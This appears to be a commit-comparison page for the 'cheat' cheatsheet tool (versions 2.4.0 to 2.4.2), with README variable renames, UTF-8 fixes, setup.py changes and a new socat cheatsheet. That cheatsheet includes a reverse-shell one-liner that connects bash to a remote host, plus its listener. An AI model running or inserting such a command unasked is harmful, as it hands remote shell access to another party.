Compare commits

...

14 Commits
2.4.0 ... 2.4.2

Author SHA1 Message Date
c922ef4c8d Version bump: 2.4.2
Contains `termcolor` dependency fix.
2019-01-29 11:45:43 -05:00
574a7ec3c9 Merge pull request #421 from chrisallenlane/termcolor
Added termcolor dependency to setup.py
2019-01-29 11:44:22 -05:00
5ae49228b7 Added termcolor dependency to setup.py
Added a missing `termcolor` dependency to `install_requires` in
`setup.py`. `termcolors` was introduced as an optional dependency when
the `CHEAT_HIGHLIGHT` envvar was implemented.
2019-01-29 11:42:14 -05:00
09acdf1a69 README edits
Updated the names of the (preferred) cheat-related environment
variables, which have been changed in recent versions.
2019-01-29 11:31:03 -05:00
9ea60d12ff Version-bump to 2.4.1
- Includes various bugfixes regarding UTF-8 encoding
- Adds new cheatsheets
2019-01-29 10:58:57 -05:00
f7d747e101 Merge pull request #417 from butzel-net/master
suggestion for socat
2019-01-29 10:22:44 -05:00
3b207b4d51 Merge branch 'dev' 2019-01-29 10:19:48 -05:00
5e1d3abce8 Merge pull request #416 from chrisallenlane/issue-414-build-opts
Issue #414 - snap package compatibility
2019-01-29 10:18:55 -05:00
ad25e16dc6 Merge pull request #415 from chrisallenlane/issue-372
Addressing issue #372
2019-01-29 10:15:55 -05:00
92c07c0137 Merge pull request #419 from chrisallenlane/issue-414-build-opts
Issue #414 - snap package compatibility
2019-01-27 14:50:37 -05:00
7e35263e90 Merge pull request #418 from chrisallenlane/issue-372
Addressing issue #372
2019-01-27 14:45:41 -05:00
b377984b59 suggestion for socat
butzel's suggestions for a socat cheatsheet
2019-01-25 12:46:01 +01:00
e319332138 Issue #414 - snap package compatibility
PR #391 changed the locaton into which system-wide cheatsheets are
installed to `/usr/share/cheat`, in order to comply with FHS. However,
this is causing conflicts with the `snap` packaging process.

This commit removes hard-coded references to `/usr/share/cheat` (outside
of `config/cheat`), and instead reads the cheat path via the
`CHEAT_PATH` config value (which may be set either in `cheat/config`, or
exported as an environment variable).

Lastly, this commit makes `setup.py` "aware of" the `CHEAT_PATH` env
var, allowing us to specify to where sytem-wide cheatsheets should be
installed during the `snap` build.
2019-01-21 12:58:03 -05:00
13c0ea7525 Addressing issue #372
Previous pull-requests #406 and #413 attempted to resolve #372. They
were, however, never merged in.

Given that #391 was just merged (which rewrites a significant amount of
prior code), I here took what we learned from #406 and #413 and
re-implemented it. This approach will be less error-prone than
attempting to rebase either of the former on the changes introduced in
 #391.
2019-01-18 14:50:00 -05:00
7 changed files with 68 additions and 18 deletions

View File

@ -83,37 +83,37 @@ with your [dotfiles][].
Configuring
-----------
### Setting a DEFAULT_CHEAT_DIR ###
### Setting a CHEAT_DEFAULT_DIR ###
Personal cheatsheets are saved in the `~/.cheat` directory by default, but you
can specify a different default by exporting a `DEFAULT_CHEAT_DIR` environment
can specify a different default by exporting a `CHEAT_DEFAULT_DIR` environment
variable:
```sh
export DEFAULT_CHEAT_DIR='/path/to/my/cheats'
export CHEAT_DEFAULT_DIR='/path/to/my/cheats'
```
### Setting a CHEATPATH ###
### Setting a CHEAT_PATH ###
You can additionally instruct `cheat` to look for cheatsheets in other
directories by exporting a `CHEATPATH` environment variable:
directories by exporting a `CHEAT_PATH` environment variable:
```sh
export CHEATPATH='/path/to/my/cheats'
export CHEAT_PATH='/path/to/my/cheats'
```
You may, of course, append multiple directories to your `CHEATPATH`:
You may, of course, append multiple directories to your `CHEAT_PATH`:
```sh
export CHEATPATH="$CHEATPATH:/path/to/more/cheats"
export CHEAT_PATH="$CHEAT_PATH:/path/to/more/cheats"
```
You may view which directories are on your `CHEATPATH` with `cheat -d`.
You may view which directories are on your `CHEAT_PATH` with `cheat -d`.
### Enabling Syntax Highlighting ###
`cheat` can optionally apply syntax highlighting to your cheatsheets. To
enable syntax highlighting, export a `CHEATCOLORS` environment variable:
enable syntax highlighting, export a `CHEAT_COLORS` environment variable:
```sh
export CHEATCOLORS=true
export CHEAT_COLORS=true
```
Note that [pygments][] must be installed on your system for this to work.

View File

@ -47,7 +47,7 @@ import os
if __name__ == '__main__':
# parse the command-line options
options = docopt(__doc__, version='cheat 2.4.0')
options = docopt(__doc__, version='cheat 2.4.2')
config = Configuration()
sheets = Sheets(config)

37
cheat/cheatsheets/socat Normal file
View File

@ -0,0 +1,37 @@
# socat connect to http-server (port 80 on 'butzel.info')
socat TCP4:butzel.info:80 -
# connect to https-server (port 443 on 'butzel.info' with tls)
socat openssl:butzel.info:443 -
# tcp-listener (port 3180), output as hexdump (-x) and fork for new connetions
socat -x tcp-listen:3180,fork -
# practical examples:
# complete real working http-example:
# (sleep is necessary to prevent socat closing socket before data received)
(echo -e "GET / HTTP/1.1\r\nHost: butzel.info\r\n\r" && sleep 1) \
| socat tcp4:butzel.info:80 -
# http to httpS 'Proxy' (for an webserver without TLS-Support)
socat OPENSSL-LISTEN:443,reuseaddr,pf=ip4,fork,cert=server.pem,cafile=client.crt,verify=0 TCP4-CONNECT:127.0.0.1:80
# port forwarding (e.g. own port 3180 to port 22(ssh) on target
socat TCP4-LISTEN:3180,reuseaddr,fork TCP4:butzel.info:ssh
# TOR-forwarding (needs tor-daemon on port 9050 running)
socat tcp4-listen:8080,reuseaddr,fork socks4A:127.0.0.1:t0rhidd3ns3rvice.onion:80,socksport=9050
# network (port 8266) to serial bridge (/dev/ttyUSB0 baudrate: 115200)
socat TCP4-LISTEN:8266,fork,reuseaddr /dev/ttyUSB0,raw,crnl,b115200
# udp to tcp
socat -u udp-recvfrom:1234,fork tcp:localhost:4321
# reverse shell:
socat exec:'bash -i',pty,stderr tcp:remote.butzel.info:3180
# listener for above reverse shell (on remote.butzel.info):
socat file:`tty`,raw,echo=0 tcp-listen:3180
# or: nc -lp 3180

View File

@ -1,3 +1,4 @@
import io
import os
import shutil
@ -74,5 +75,5 @@ class Sheet:
if not self.exists(sheet):
Utils.die('No cheatsheet found for ' + sheet)
with open(self.path(sheet)) as cheatfile:
with io.open(self.path(sheet), encoding='utf-8') as cheatfile:
return cheatfile.read()

View File

@ -1,3 +1,4 @@
import io
import os
from cheat.utils import Utils
@ -63,7 +64,6 @@ class Sheets:
""" Assembles a list of directories containing cheatsheets """
sheet_paths = [
self.default_path(),
'/usr/share/cheat',
]
# merge the CHEATPATH paths into the sheet_paths
@ -92,7 +92,7 @@ class Sheets:
for cheatsheet in sorted(self.get().items()):
match = ''
for line in open(cheatsheet[1]):
for line in io.open(cheatsheet[1], encoding='utf-8'):
if term in line:
match += ' ' + self._utils.highlight(term, line)

View File

@ -1 +1,5 @@
{"CHEAT_COLORS":true,"CHEAT_EDITOR":"vi"}
{
"CHEAT_COLORS": true,
"CHEAT_EDITOR":"vi",
"CHEAT_PATH":"/usr/share/cheat"
}

View File

@ -1,13 +1,20 @@
from distutils.core import setup
import os
# determine the directory in which to install system-wide cheatsheets
# KLUDGE: It would be better to read `/usr/share/cheat` from `config/cheat`
# rather than hard-coding it here
cheat_path = os.environ.get('CHEAT_PATH') or '/usr/share/cheat'
# aggregate the systme-wide cheatsheets
cheat_files = []
for f in os.listdir('cheat/cheatsheets/'):
cheat_files.append(os.path.join('cheat/cheatsheets/',f))
# specify build params
setup(
name = 'cheat',
version = '2.4.0',
version = '2.4.2',
author = 'Chris Lane',
author_email = 'chris@chris-allen-lane.com',
license = 'GPL3',
@ -24,9 +31,10 @@ setup(
install_requires = [
'docopt >= 0.6.1',
'pygments >= 1.6.0',
'termcolor >= 1.1.0',
],
data_files = [
('/usr/share/cheat', cheat_files),
(cheat_path, cheat_files),
('/etc', ['config/cheat']),
],
)